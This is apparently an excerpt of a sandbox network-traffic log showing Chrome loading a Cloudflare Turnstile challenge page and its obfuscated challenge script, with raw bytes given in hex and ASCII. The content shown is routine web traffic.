2024-12-09 17:41:41 UTC	823	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://ameninternazionale.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:41 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26763 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-09 17:41:41 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 36 63 39 39 37 61 38 36 34 34 32 61 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ef6c997a86442ad-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 17:41:41 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-09 17:41:41 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49743	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:43 UTC	728	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c997a86442ad&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:43 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:43 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118745 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6c9a38a5c421b-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:43 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 Data Ascii: act%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_refresh":"Refresh","turnstile_expired":"Expired","turnstile_footer_privacy":"Privacy","turnstile_feedback_description":"Send%2
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 67 62 2c 67 6c 2c 67 77 2c 67 41 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 65 54 2c 65 55 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 39 30 30 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 36 36 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 36 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 34 32 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 34 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 38 36 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 32 33 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 33 35 29 29 Data Ascii: gb,gl,gw,gA,gB,gC,gG,gH,eT,eU){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(900))/1+parseInt(gI(466))/2*(-parseInt(gI(966))/3)+-parseInt(gI(242))/4+-parseInt(gI(1474))/5+-parseInt(gI(286))/6+parseInt(gI(723))/7+parseInt(gI(335))
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 20 69 3d 3d 68 7d 2c 27 79 53 61 70 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 5a 4b 73 6e 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 47 48 72 77 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 51 78 62 58 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 72 4f 48 59 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 48 66 69 6c 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 42 44 54 6f 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 61 58 61 46 6e 27 Data Ascii: i==h},'ySapr':function(h,i){return h&i},'ZKsnU':function(h,i){return h(i)},'GHrwJ':function(h,i){return h!=i},'QxbXx':function(h,i){return h==i},'rOHYQ':function(h,i){return hi},'Hfilh':function(h,i){return h&i},'BDToa':function(h,i){return hi},'aXaFn'
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 2c 4c 3d 3d 64 5b 67 4e 28 31 35 31 30 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 67 4e 28 38 38 38 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 67 4e 28 36 34 35 29 5d 28 30 29 2c 43 3d 30 3b 64 5b 67 4e 28 39 34 33 29 5d 28 31 36 2c 43 29 3b 4b 3d 4b 3c 3c 31 2e 33 36 7c 64 5b 67 4e 28 34 30 31 29 5d 28 50 2c 31 29 2c 64 5b 67 4e 28 37 31 30 29 5d 28 4c 2c 64 5b 67 4e 28 31 35 31 30 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 67 4e 28 38 38 38 29 5d 28 64 5b 67 4e 28 31 33 39 36 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 64 5b 67 4e 28 31 32 35 31 29 5d 28 30 2c 47 29 26 26 28 47 3d 4d 61 74 68 5b 67 4e 28 39 36 39 29 5d 28 32 2c Data Ascii: ,L==d[gN(1510)](o,1)?(L=0,J[gN(888)](s(K)),K=0):L++,P=0,C++);for(P=F[gN(645)](0),C=0;d[gN(943)](16,C);K=K<<1.36\|d[gN(401)](P,1),d[gN(710)](L,d[gN(1510)](o,1))?(L=0,J[gN(888)](d[gN(1396)](s,K)),K=0):L++,P>>=1,C++);}G--,d[gN(1251)](0,G)&&(G=Math[gN(969)](2,
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 2b 3b 72 65 74 75 72 6e 20 4a 5b 67 4e 28 31 35 36 35 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 4f 29 7b 72 65 74 75 72 6e 20 67 4f 3d 67 4b 2c 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 64 5b 67 4f 28 39 31 36 29 5d 28 27 27 2c 68 29 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 67 4f 28 31 30 38 37 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 50 29 7b 72 65 74 75 72 6e 20 67 50 3d 67 4f 2c 68 5b 67 50 28 36 34 35 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 51 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4f 2c 4c 2c 4d 2c 4e 29 7b 66 6f 72 28 67 51 3d 67 4b 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a Data Ascii: +;return J[gN(1565)]('')},'j':function(h,gO){return gO=gK,h==null?'':d[gO(916)]('',h)?null:f.i(h[gO(1087)],32768,function(i,gP){return gP=gO,h[gP(645)](i)})},'i':function(i,j,o,gQ,s,x,B,C,D,E,F,G,H,I,J,K,O,L,M,N){for(gQ=gK,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j
2024-12-09 17:41:43 UTC	1369	IN	Data Raw: 5d 3d 65 28 4a 29 2c 4f 3d 64 5b 67 51 28 31 33 37 39 29 5d 28 42 2c 31 29 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 67 51 28 31 35 36 35 29 5d 28 27 27 29 7d 69 66 28 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 67 51 28 39 36 39 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4f 5d 29 4f 3d 73 5b 4f 5d 3b 65 6c 73 65 20 69 66 28 42 3d 3d 3d 4f 29 4f 3d 64 5b 67 51 28 38 30 37 29 5d 28 45 2c 45 5b 67 51 28 34 37 36 29 5d 28 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 44 5b 67 51 28 38 38 38 29 5d 28 4f 29 2c 73 5b 42 2b 2b 5d 3d 64 5b 67 51 28 38 30 37 29 5d 28 45 2c 4f 5b 67 51 28 34 37 36 29 5d 28 30 29 29 2c 78 2d 2d 2c 45 3d 4f 2c 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 67 51 28 39 36 39 29 5d 28 Data Ascii: ]=e(J),O=d[gQ(1379)](B,1),x--;break;case 2:return D[gQ(1565)]('')}if(x==0&&(x=Math[gQ(969)](2,C),C++),s[O])O=s[O];else if(B===O)O=d[gQ(807)](E,E[gQ(476)](0));else return null;D[gQ(888)](O),s[B++]=d[gQ(807)](E,O[gQ(476)](0)),x--,E=O,0==x&&(x=Math[gQ(969)](
